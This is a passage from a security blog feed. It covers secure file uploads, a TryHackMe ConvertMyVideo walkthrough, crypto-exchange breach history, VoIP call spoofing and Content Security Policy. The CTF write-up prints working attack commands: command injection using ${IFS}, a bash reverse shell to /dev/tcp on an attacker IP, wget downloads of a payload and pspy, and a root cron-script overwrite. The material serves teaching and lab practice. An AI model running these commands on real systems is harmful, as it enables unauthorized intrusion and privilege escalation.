    // Assume file is uploaded via a file input
    file.mv(`./uploads/${file.name}`, (err) => {
        if (err) return res.status(500).send(err);
        res.send('File uploaded!');
    });
});
```
In this scenario, an attacker could upload a malicious PHP file (e.g., malicious.php) and execute it by accessing it directly:
```
http://example.com/uploads/malicious.php
```
Good Code Practice

To mitigate the risks associated with file uploads, implement the following best practices:
1. File Type Validation: Check the file extension and MIME type against a whitelist of allowed types.
2. Magic Header Bytes Check: In addition to MIME type validation, verify the file's magic header bytes to ensure it matches the expected format.
3. Limit File Size: Set restrictions on the maximum file size to prevent abuse.
4. Rename Uploaded Files: Rename files upon upload to avoid execution of malicious code and prevent filename conflicts.
5. Store Files Outside the Web Root: Save uploaded files in a directory that is not publicly accessible to prevent direct access.
```
const fs = require('fs');
const path = require('path');

// Good: Validating file type and renaming files
app.post('/upload', (req, res) => {
    const file = req.files.picture;

    // Validate file type
    const validTypes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!validTypes.includes(file.mimetype)) {
        return res.status(400).send('Invalid file type');
    }

    // Magic header bytes check (for example purposes; implement according to your needs)
    const magicBytes = {
        'image/jpeg': Buffer.from([0xff, 0xd8, 0xff]),
        'image/png': Buffer.from([0x89, 0x50, 0x4e, 0x47]),
        'image/gif': Buffer.from([0x47, 0x49, 0x46]),
    };
    const fileBuffer = fs.readFileSync(file.tempFilePath);
    const fileMagic = fileBuffer.slice(0, magicBytes[file.mimetype].length);
    if (!fileMagic.equals(magicBytes[file.mimetype])) {
        return res.status(400).send('Invalid file content');
    }

    // Limit file size (e.g., max 1MB)
    const maxSize = 1 * 1024 * 1024; // 1MB
    if (file.size > maxSize) {
        return res.status(400).send('File too large');
    }

    // Sanitize the original file name

    // Get base name without extension
    const originalFileName = path.basename(file.name, path.extname(file.name));

    // Allow only alphanumeric, underscores, and hyphens
    const sanitizedBaseName = originalFileName.replace(/[^a-zA-Z0-9_-]/g, '');

    // Generate a safe filename by combining sanitized base name with a timestamp
    const timestamp = Date.now();
    const safeFileName = `${sanitizedBaseName}_${timestamp}${path.extname(file.name)}`;
    const uploadPath = path.join(__dirname, 'uploads', safeFileName);
    // Restrict to uploads directory

    // Move the file to a safe directory
    file.mv(uploadPath, (err) => {
        if (err) return res.status(500).send(err);
        res.send('File uploaded!');
    });
});
```
Why This Works

By validating file types, checking magic header bytes, limiting file sizes, renaming uploaded files, and storing them outside of the web root, you significantly reduce the risk of file upload vulnerabilities. These practices enhance the overall security of your application by ensuring that only safe files are accepted and executed.

Additional Mitigation Tips
1. Ensure Folder Permissions: Configure the upload folder with chmod settings that do not allow execution (e.g., chmod 644 for files).
2. Magic Header Bytes Limitations: Be aware that magic header bytes checking can be bypassed if attackers manipulate the byte headers. Always combine this with other validation methods like server-side MIME type checks.
3. Client-Side & Server-Side Validation: Validate the file's MIME type on both the client and server-side to ensure it matches the expected format. However, do not rely solely on client-side validation, as it can be manipulated by attackers.
Conclusion

As we wrap up this journey through the various security vulnerabilities and their mitigations, I want to emphasize the importance of adopting a proactive mindset towards securing coding practices. Each vulnerability we’ve explored, from SQL Injection to File Upload Exploits, represents not just a potential risk, but an opportunity for us as developers to fortify our applications and protect our users.

The world of security may seem daunting, but it’s essential to remember that every developer starts somewhere. Just as I faced my initial challenges with secure coding during VAPT reviews, you too can transform your approach to coding security. By understanding these vulnerabilities and implementing the recommended best practices, you’re not just fixing issues — you’re building a robust foundation for your applications.

The tools and techniques we’ve discussed are here to help you create secure, resilient code that can stand up to scrutiny and keep your users safe. Embrace the learning process, ask questions, and continually seek to enhance your understanding of secure coding practices. With every vulnerability you address, you’re making your software more trustworthy, ensuring a better experience for everyone who interacts with it.

Thank you for taking the time to read this guide. I hope it empowers you to become a more security-conscious developer, turning challenges into stepping stones for growth. Together, let’s strive to make the web a safer place, one line of code at a time. Happy coding! 🛡️✨

TryHackMe: ConvertMyVideo

Akbar Khan — Sun, 06 Oct 2024 18:01:40 GMT

Link to Lab - https://tryhackme.com/room/convertmyvideo

Lab Overview - My script to convert videos to MP3 is super secure.

A perfect room to understand from basic enumeration to limiting findings abusing a single found web application functionality trying to execute command injection using IFS and getting low privilege shell to further abusing cronjob to becoming a root.

TASK1 : Recon

We will run an Nmap aggressive scan against our target.

nmap -A -sV 10.10.163.162 -v

Here is our Nmap result, where we can find 2 ports (22 and 80) as open to SSH. Since we need credentials, let’s go with port 80.

While opening the URL: http://10.10.163.162 in the browser, we found a webpage where we can convert our videos.

Convert My Video

Let’s give some input and check what it does.

We don’t clearly understand what it’s trying to do and why we are getting such an error.

So our next step will be enumerating further.

TASK2 : Enumerating

For this task, we will capture this request and response in BURP.

So let’s try command injection in the yt_url parameter.

yt_url = ls

As we can see, it uses YouTube-DL software. Let's enumerate this.

youtube-dl is a command-line program to download videos from YouTube and a few other sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and is not platform-specific. It should work on your Unix box, on Windows, or on macOS. It is released to the public domain, which means you can modify it, redistribute it, or use it however you like.

We get a sort of command injection here.

yt_url = ls

At this point, we start struggling with which command to run, as commands with spaces are not allowed.

After a bit of googling, we found something called IFS. It is a special shell variable, it stands for Internal Field Separator.

yt_url=`ls${IFS}-la`

Using this, we are getting a response. At least the command is being executed on the server.

On multiple retries and failures, we found something interesting.

TASK3 : Exploitation

So we search for a one-liner reverse shell in bash.

bash -i >& /dev/tcp/10.11.48.237/9090 0>&1

Now we have to send this to the victim. I am hosting this payload using an HTTP server.

Using wget, we will try to download this payload on the victim machine. Then, we will execute it.

wget${IFS}http://10.11.48.237/rev.sh

We will provide the execution permission to the payload and try to run it.

`chmod${IFS}777${IFS}rev.sh`

Let's start a listener on port 9090 as per our reverse shell payload and run this.

`bash${IFS}rev.sh`

BOOM!!!!!!!!!!! We got our low-level shell.

TASK4 : Privilege Escalation

Let's check the crontabs for any scheduled tasks executed by the root user.

Crontab -l

cat /etc/crontab

ps aux

Check the running process, as in the above approach we haven’t found anything juicy.

We found a cronjob being executed as a root user.

We can automate this process using linpeas.sh or linenum.sh which will highlight such interesting cronjobs in red.

We found a very interesting tool, pspy, to look into the Linux process.

pspy is a command-line tool designed to snoop on processes without needing root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs.

Also great to demonstrate to your colleagues why passing secrets as arguments on the command line is a bad idea.

The tool gathers the info from procfs scans. I notify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.

We have downloaded this tool on the attacker machine and will send it to the victim the way we shared rev.sh

wget http://10.11.48.237:8080/pspy64

Provide the required permission to execute it.

It might take 2–3 minutes to complete this job.

Ok, so we found a process running as clean.sh. It is also running as a CRONJOB. Is this Cronjob overwriting? Let's give this a try.

Navigate to /var/www/html/tmp/clean.sh and check what it's doing.

Modify our 1 liner and integrate it into this file.

bash -i >& /dev/tcp/10.11.48.237/5555 0>&1

And we are root

TASK5 : Capture the Flags

What is the name of the secret folder?

Admin

What is the user to access the secret folder?

What is the user flag?

What is the root flag?

Thank you for reading this blog. While attempting this challenge, I learnt so many things. This was a unique target with a unique vulnerability.

Crypto Exchange Hacking Basics: Security Vulnerabilities, Testing, and Mitigation

Harsh Tandel — Wed, 11 Sep 2024 05:30:22 GMT

Cryptocurrency exchanges are frequent targets for hackers due to the high value of the digital assets they hold. Understanding common security vulnerabilities, knowing how to test them as an ethical hacker, and applying effective mitigation strategies are crucial for securing these platforms.

Case Studies of Crypto Exchange Hacking

1. Mt. Gox (2014)

Overview:

Mt. Gox, based in Tokyo, was the largest Bitcoin exchange at its peak, handling over 70% of all Bitcoin transactions worldwide.
Incident:

In February 2014, Mt. Gox announced that approximately 850,000 Bitcoins (valued at around $450 million at the time) were stolen due to a security breach.
Vulnerabilities Exploited:

Weak Security Protocols: Lack of robust security measures and insufficient internal controls.

Transaction Malleability: Exploit in the Bitcoin protocol that allowed attackers to alter transaction IDs.

Mitigation Strategies Post-Incident:

Enhanced security measures across exchanges.

Introduction of multisig (multi-signature) wallets to increase transaction security.

2. Bitfinex (2016)

Overview:

Bitfinex is one of the largest cryptocurrency exchanges by trading volume.
Incident:

In August 2016, Bitfinex experienced a security breach, resulting in the loss of 119,756 Bitcoins (worth around $72 million at the time).
Vulnerabilities Exploited:

Security Flaws in Multisig Wallets: The attack exploited a vulnerability in the multisig wallets provided by BitGo, a third-party service.

Compromised Private Keys: Attackers managed to compromise private keys used in the multisig wallets.

Mitigation Strategies Post-Incident:

Improved security protocols, including enhanced multisig implementations.

Closer scrutiny and auditing of third-party services.

3. Coincheck (2018)

Overview:

Coincheck is a Japanese cryptocurrency exchange.
Incident:

In January 2018, Coincheck suffered one of the largest heists in history, losing $530 million worth of NEM tokens.
Vulnerabilities Exploited:

Inadequate Cold Storage: Most of the stolen NEM tokens were stored in hot wallets, which are more susceptible to hacking.

Poor Security Practices: Lack of robust security measures, including multi-factor authentication and proper encryption.

Mitigation Strategies Post-Incident:

Adoption of cold storage solutions for most funds.

Implementation of comprehensive security protocols and regular security audits.

4. Binance (2019)

Overview:

Binance is one of the world’s largest cryptocurrency exchanges by trading volume.
Incident:

In May 2019, Binance reported a security breach in which hackers stole 7,000 Bitcoins (worth around $40 million at the time).
Vulnerabilities Exploited:

API Keys, 2FA Codes, and Other Information: Hackers used a combination of techniques, including phishing and viruses, to obtain API keys, two-factor authentication codes, and other user data.

Mitigation Strategies Post-Incident:

Enhanced user authentication mechanisms and security protocols.

Creation of a Secure Asset Fund for Users (SAFU) to protect user funds in future breaches.

5. KuCoin (2020)

Overview:

KuCoin is a global cryptocurrency exchange with a significant user base.
Incident:

In September 2020, KuCoin announced that it had detected a security breach, resulting in the theft of over $280 million worth of various cryptocurrencies.
Vulnerabilities Exploited:

Compromised Private Keys: Attackers gained access to the private keys of KuCoin’s hot wallets.

Mitigation Strategies Post-Incident:

Implementation of more stringent security measures, including enhanced cold storage solutions.

Collaboration with other exchanges and blockchain projects to recover stolen funds.

Decentralised Exchanges (DEXs)

They are crucial components of the cryptocurrency ecosystem, enabling peer-to-peer trading without a central authority. However, they can be vulnerable to several types of critical vulnerabilities across different domains and parts. Here are some of the key vulnerabilities:

1. Smart Contract Vulnerabilities

a. Reentrancy Attacks:

Description: This occurs when a smart contract makes an external call to another untrusted contract before it resolves its internal state. This can allow the external contract to call back into the original function, potentially leading to multiple withdrawals of funds.
Example: The infamous DAO hack in 2016.

b. Logic Flaws:

Description: Errors in the logic of smart contracts can lead to unintended behavior, such as incorrect calculations or validation errors.
Example: Inadequate input validation leading to incorrect trading calculations or bypassing security checks.

c. Integer Overflows/Underflows:

Description: These occur when arithmetic operations exceed the storage capacity of a variable, leading to unexpected behavior.
Example: Overflowing a balance variable to gain unauthorized funds.

2. Blockchain Layer Vulnerabilities

a. Consensus Mechanism Attacks:

Description: Attacks targeting the consensus mechanism of the underlying blockchain, such as 51% attacks.
Example: If an attacker gains control of more than 50% of the network’s hashing power, they could potentially double-spend coins.

b. Front-running:

Description: When a malicious actor preemptively executes transactions by observing the pending transactions in the mempool, profiting at the expense of legitimate users.
Example: An attacker observes a large buy order in the mempool and places their own buy order to benefit from the price increase.

3. Off-chain Components

a. Oracle Manipulation:

Description: Oracles provide external data to smart contracts. Manipulating the data provided by oracles can lead to incorrect contract execution.
Example: Feeding incorrect price data to manipulate the outcomes of trading contracts.

b. API Exploits:

Description: Vulnerabilities in the APIs used by DEXs to interact with external services can be exploited to gain unauthorized access or manipulate data.
Example: Exploiting a poorly secured API to siphon funds or alter trade data.

4. User Interface (UI) Vulnerabilities

a. Phishing Attacks:

Description: Fake interfaces or websites mimicking legitimate DEX platforms to steal user credentials and private keys.
Example: Users entering their private keys or seed phrases on a fake DEX site.

b. Man-in-the-Middle (MITM) Attacks:

Description: Intercepting and altering communications between the user and the DEX platform.
Example: Intercepting a transaction request and modifying the recipient address.

5. Governance Vulnerabilities

a. Governance Manipulation:

Description: Exploiting flaws in the governance model to take control of decision-making processes.
Example: Accumulating governance tokens to propose and pass malicious protocol changes.

6. Liquidity Risks

a. Impermanent Loss:

Description: When the value of deposited assets in a liquidity pool changes compared to holding them directly, leading to potential losses for liquidity providers.
Example: Significant price volatility affecting the value of assets in an automated market maker (AMM) pool.

b. Liquidity Mining Exploits:

Description: Exploiting incentives for providing liquidity to drain funds from the protocol.
Example: Sybil attack is when an attacker creates multiple addresses to earn disproportionate rewards.

7. Regulatory and Compliance Risks

a. Regulatory Crackdowns:

Description: Government actions against DEXs for non-compliance with local regulations.

Example: Regulatory actions leading to the shutdown or restriction of DEX operations.

Tools and Resources

Reconnaissance: Maltego, Shodan
Scanning: Nmap, OWASP ZAP, Nessus
Exploitation: Metasploit, SQLMap, Burp Suite
Post-Exploitation: Wireshark
Reporting: Dradis Framework, Faraday

Static Analysis Tools: Mythril, Slither, Oyente
Fuzz Testing Tools: Echidna, Harvey
Blockchain Analysis Tools: Manticore, Eth2.0-specific tools
Network Monitoring Tools: Wireshark, Zeek
API Testing Tools: Postman, Insomnia, Burp Suite
UI Security Tools: OWASP ZAP, Selenium
Formal Verification Tools: K-framework, Certora Prover

By understanding these vulnerabilities and employing ethical hacking techniques, you can effectively identify and mitigate potential security risks in cryptocurrency exchanges. Regular testing, combined with robust security practices, ensures the protection of digital assets and user data.

That’s all for this write up and stay tuned for Crypto Exchange Hacking Beyond Basics.

Thank You

Building your VoIP system & Call Spoofing

Sumir Broota — Sun, 08 Sep 2024 05:30:37 GMT

Links

All of the infomation showed here is for educational purposes & to raise awareness about our current systems. Please don’t use this information for anything malicious.

How Do Businesses Setup Their Own Phone System?

This is where Private Branch Exchange (PBX) systems come in to place
A PBX system is like a router creating a LAN for your legacy (or modern) internal phone systems
You can connect your PBX system to the public network using SIP trunk providers (similar to ISP’s)
Giving a single point of entry/exit to all your local phone systems.

Types of PBX

Analog/Legacy PBX

traditional onsite hardware PBX working via wired PSTN
business responsible for install/maintenance/monitoring
limited features + expensive hardware
obsolete

On-prem PBX

hosted & managed on site by end user
powered by VoIP using IP PBX
requires purchase of own hardware & in house team to maintain hence still expensive

Hosted/Cloud/Virtual PBX

VoIP based phone system maintained by 3rd party
has better savings, mobility, scalability
has advanced VoIP features

Hybrid PBX

mix of virtual & hardware PBX
uses SIP trunking
end user still needs to maintain the on-prem phone system

Why Businesses need Call Spoofing

Even though Alice has a different number, having the ability to spoof her no. with that of the companies allows her to get in touch with the customers

Modern Phone System Protocols

SIP (Session Initiation Protocol)

The de facto standard (text-based) for VoIP communication, used for initial authentication and negotiations when making connections.
SIP is an application layer protocol that uses UDP or TCP for traffic. By default, SIP uses UDP/TCP port 5060.

RTP (Real-Time Transport Protocol)

The actual voice or video traffic is transmitted via Real-Time Protocol (RTP or SRTP) after authentication and negotiations are done via SIP.

SDP (Session Description Protocol)

SDP (Session Description Protocol) is a text-based format used to describe the characteristics of multimedia sessions, such as voice, video, or data conferencing, over IP networks.
SDP does not handle the actual media transmission or session establishment but is used in conjunction with other signaling protocols, like SIP, to negotiate and exchange information about the media streams and their attributes.

SHAKEN/STIR

The current protection mechanism against call spoofing. This requires all SIP trunk providers to sign outgoing calls with their certificate, according to the legitimacy of the outbound caller id.

SHAKEN stands for Signature-based Handling of Asserted Information using toKENs. It is a specification designed by the Alliance for Telecommunications Industry Solutions (ATIS) to fight caller ID spoofing.
STIR (Secure Telephone Identity Revisited) is a protocol developed by the Internet Engineering Task Force (IETF) to enable end-to-end call authentication, but the protocol is very broad and doesn't ensure that different providers will be able to verify each others' calls.
The SIP provider certifies the classes of caller ID’s into the following:
- Class A - (most trusted). The number being dialed from has been authenticated by the service provider, and the caller has been authorized to use that number.
- Class B - The service provider has verified that the call has originated from the customer but not that they are authorized to use it.
- Class C - The service provider does not know the caller’s identity and the source of the call cannot be identified (maybe coming from an international gateway/outside their network).

How STIR/SHAKEN Identity headers are received by end users

credit SIP Identity Headers explained in a nice YT video

Issues with our current system

Most providers transmit data over clear text
- Despite the avaliability of TLS encryption with SRTP & SIP-TLS, the lack of industry wide adoption poses a challenge. Anyone with knowledge of the system can capture the data
Trust on User Defined Outbound Caller ID
- Though most SIP trunking providers have added protections in place, there are plenty of providers willing to skirt the regulation.
Protection Mechanism in place doesn’t account for legacy systems in the route
- In case the call gets routed/forwarded through a legacy system, the data signed by the SIP trunk gets dropped
SHAKEN/STIR is expensive to maintain
- SHAKEN/STIR is difficult to maintain, leaving power in the hands of major providers. Also 3rd party SIP trunk resellers can be held liable as service providers despite being dependent on larger providers for their signing method
Doesn’t factor into the Global context well
- SHAKEN/STIR was originally made for US/Canada to be deployed in their own countries and was later modified to be more global. Due to political relations between nations & lack of accountability in enforcing these protections across countries it can be difficult to ratify as a standard

Ways To Protect Yourself

Report fraudulent calls
- For Indian Citizens:
  - https://sancharsaathi.gov.in/sfc/
  - Report Incoming International Call With Indian Number (RICWIN)
    - https://sancharsaathi.gov.in/InternationalCall/ReportIntCall.jsp
    - Alternatively you can report on 1963/1800110420
Scammers often try to rush your decision making
- Before making any major decision based on a possibly fraudulent Call/SMS do the following:
  - Take a deep breath and don't rush yourself
  - Ask probing questions that only the person you're connecting with would know
  - Connect/Communicate with your contact over another medium (email/physically meet)
Know that the Indian Government is taking steps to reduce these threats
- Quickest, simplest way TRAI & telco's have stopped spoofed calls from overseas is to look at the phone numbers for each inbound call and to block them if they pretend to have a domestic origin.
  - Note during my testing - it sometimes let the call through but set the caller id as a random number. This behaviour may vary from provider to provider
- Telecom Regulatory Authority of India (TRAI) issued recommendations on leveraging AI-based fraud detection systems to identify and prevent fraudulent activities, such as unauthorized usage of SIM cards, subscription fraud, and billing fraud.
Raise Awareness of such issues amongst family & friends
- The more people are aware, the less likely they are to fall for such scams

Glossary

VoIP
- is an acronym for Voice Over Internet Protocol, or in more common terms phone service over the Internet.

Private Branch Exchange (PBX)
- It is a private telephone network that is used by an organisation to communicate internally and externally. PBX systems are used to route calls between internal extensions and the public telephone network.
Session Initiation Protocol (SIP)
- The de facto standard for VoIP communication, used for initial authentication and negotiations(terminate, or modify) when making connections. (like metadata for comms).
- SIP is an application layer protocol that uses UDP or TCP for traffic. By default, SIP uses UDP/TCP port 5060.
SIP Trunk
- In order for people to make calls to your internal PBX network (and vice verse)- your network must have an actual exposed number - that is the job of SIP Trunk It connects your PBX network to the Public Switched Telephone Network AKA PSTN
STIR/SHAKEN
- Caller ID authentication confirms the accuracy of the information. It is more difficult for attackers to spoof numbers with this additional degree of security.

References:

Implementing a Secure Content Security Policy (CSP)

Sumir Broota — Mon, 08 Jul 2024 04:30:43 GMT

Skip to TLDR

Introduction

Content Security Policy (CSP) provides mechanisms for websites to restrict content that browsers will be allowed to load. It is the holy grail for client side web application security. A strong policy can provide monumental protection against threats such as Cross Site Scripting (XSS), Cross-Origin Resource Sharing (CORS), Click-jacking, HTTP Downgrade attacks and much more. This is because a CSP header employs the hardened security framework of the modern browser, baking it into the end users' web application.

However,

the resilience of CSP headers are often compromised during web development due to numerous gaps introduced by developers to support certain libraries/inline scripts/quick integrations etc. Additionally if Content Security Policy (CSP) header is not implemented it can be a major red flag.

Learning from Common Mistakes:

Example of an insecure Content Security Policy (CSP)

Content-Security-Policy: default-src 'self’  *;  
frame-src http://3rdparty.site ;  
script-src *.google.com:80  cdn.js unsafe-inline unsafe-eval;

Not sure what frame-src or any other directives are ? - Click here

`Insecure default-src:`

This is the policy the browser must refer to in case there is no specific one mentioned i.e the default case. Here although the scope of the default-src mentions 'self' (allowing only one's own website as the scope), the presence of '*' directs the browser to accept sources from anywhere. The use of such a broad scope can be very dangerous.

`Lack of font-src, img-src, connect-src, media-src & more:`

These additional policies have not been mentioned hence default-src would be used. Making the job of tightening the security of default-src paramount. The above policies are used in case you wish to make an exception for a particular src such as img-src, but don’t want to weaken the security of the default/other configurations.

`Avoid 'unsafe-eval'/'unsafe-inline':`

Using these in any directive is a HUGE risk and must be avoided. Just their mere presence introduces a vector for the execution of DOM based and inline XSS. Instead move the scripts into separate javascript files or use a nonce/hash value

`Defining your :`

1. Define strict scope even for reputed first party sites

The use of *.google.com allows all of Google's 1120+ subdomains to be used as a script source. You may still think of it as not a threat, but just to refresh your memory: Anyone can build a website on sites.google.com and it would fulfill the above regex requirements.

2. Be sure about adding 3rd party websites to your CSP

In case there is any vulnerability present in the 3rd party website, it could lead to an attack vector into your site as well.

3. Always think twice when adding '*' to a CSP regex:

The sources used in CSP must be precisely defined. Eg if you're accepting a legitimate javascript file from a CDN such as cdn.js, your source should not be cdn.js/* . This is problematic as many public cdn’s allow users to host their own javascript libraries. So an attacker could take advantage of the lax regex and call cdn.js/their-malicious.js.

Recommendation:

If Content Security Policy (CSP) header is not set - implement it immediately. The Content Security Policy can be set either in the response header or in the html's meta tag, the prior being given a higher priority.

Example of a Secure Content Security Policy (CSP)

Content-Security-Policy: default-src 'self’; 
frame-src 'self'; 
script-src 'self' https://cdn.jsdelivr.net/npm/@floating-ui/core@1.2.1;
frame-ancestors ‘none’;
report-to csp-error;
report-uri https://sumirbroota.com/csp-violations
upgrade-insecure-requests;

`frame-ancestors ‘none’:`

This is a suitable setting in case one is not using an iframe in their sites functionality. frame-ancestors restricts the URLs that can embed the requested resource inside of , , , , or elements. If this directive is specified in a tag, the directive is ignored. This directive doesn't fallback to default-src directive. X-Frame-Options is rendered obsolete by this directive and is ignored by the user agents. upgrade-insecure-requests: The following directive will ensure that all requests will be sent over HTTPS with no fallback to HTTP report-to: Reporting directives delivers violations of prevented behaviors to specified locations. To ensure backwards compatibility report-uri is also used. Example Report-To header Report-To: {"group":"csp-error","max_age":180000,"endpoints":[{"url":"https://sumirbroota.com/csp-violations"}],"include_subdomains":true} Language/Framework Specific Examples: For Apache: Header always set Content-Security-Policy "default-src 'self';" in your /etc/apache2/sites-enabled/example.conf file. For Nginx: add_header Content-Security-Policy: "default-src 'self’;"; always; in your server {} block of the /etc/nginx/sites-enabled/example.conf file. Here the always; option specifies to send the CSP no matter the response code. Use tools such as SeeSPee & Google CSP Evaluator to create a Content-Security-Policy for a website based on the statically detectable relations. Note you will still have to validate it yourself TLDR Content Security Policy (CSP) provides a mechanism to websites to restrict content that browsers will be allowed to load e.g. inline scripts, remote javascript files. CSP can be set either in the response header or in the html’s meta tag, the prior being given a higher priority. Recommendation: Be cautious of 3rd party urls & using '*' in even in trusted urls, if a direct url can be used, it would be best. Do not use 'unsafe-eval'/'unsafe-inline' instead use a nonce or a hash value. default-src directive defines the default policy for fetching resources hence make sure it is airtight. Use other source directives if you wish to make an exception for a specific one but don't want to weaken the security of the other/default directives Avoid using the 'data' scheme as it can be used as a vector for XSS. References: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/content-security-policy-csp-not-implemented/ https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://content-security-policy.com/examples/nginx/ https://webdock.io/en/docs/how-guides/security-guides/how-to-configure-security-headers-in-nginx-and-apache

BreachForce | Blog for InfoSec Enthusiasts

Lecture 4 - Rediscovering Process Scheduling [Part - 1]

Disclaimer

Special Thanks

Preface

Important Terminologies

Process Scheduling

Problem - How to reduce overhead while executing processes?

Solution - Batch them at once

Problem — How do we implement batching in Process Scheduling?

Solution — Implement First Come First Served (FCFS)

Problem — How to Reduce Average Waiting Time?

Solution — Implement Shortest Job First (SJF)

Question 1 - When can SJF reduce the average waiting time?

Answer

Question 2 - Is there any other scheme that guarantees the shortest average waiting time?

Answer

Question 3 - Can we estimate waiting time without knowing the actual value?

Answer

Question 4 - How do we estimate execution time beyond CPU cycles?

Answer

Question 5 - How do loops and control statements affect this estimation?

Answer

Question 6 - Consider a simpler case:

Answer

Conclusion

Coming Up Next

Additional Context

PortSwigger XSS Lab: Stored XSS

Description

Task

Methodology

Hierarchical v/s Non-Hierarchical URL

URL classification in RFC 3986

Structure of a hierarchical URL

Structure of a non-hierarchical URL

Examples:

How browsers parse non-hierarchical URLs

Example breakdown

mailto:logan@example.com

javascript:alert(1)

Security considerations

PortSwigger XSS Lab: DOM XSS in AngularJS

Description

Task

Methodology

Remediation

Sandboxing in AngularJS

Why {{ }} Is Used in AngularJS

Good Code Practice

Why This Works

3. Insecure Direct Object References (IDOR)

How It Affects Your System

Example Scenario

Good Code Practice

Why This Works

4. Denial-of-Service (DoS) Vulnerabilities

How It Affects Your System

a) Example Scenario: Missing Payload Size Limitation (Vulnerable to Large Payload Attack)

Good Code Practice: Payload Size Limitation

Why This Works

b) Example Scenario: Missing Rate Limiting (Vulnerable to Request Flood Attack)

Good Code Practice: Adding Rate Limit

Why This Works

c) Example Scenario: Vulnerable to Regular Expression Denial of Service (ReDoS)

Good Code Practice: Using Safe Regular Expressions

Why This Works

5. Improper Authentication and Authorization

How It Affects Your System

Example Scenario

Good Code Practice

Why This Works

6. Cross-Site Request Forgery (CSRF)

How It Affects Your System

Example Scenario

Good Code Practice

Why This Works

Additional Mitigation Tips

7. Using eval()

How It Affects Your System

`mailto:logan@example.com`

`javascript:alert(1)`

Why `{{ }}` Is Used in AngularJS

7. Using `eval()`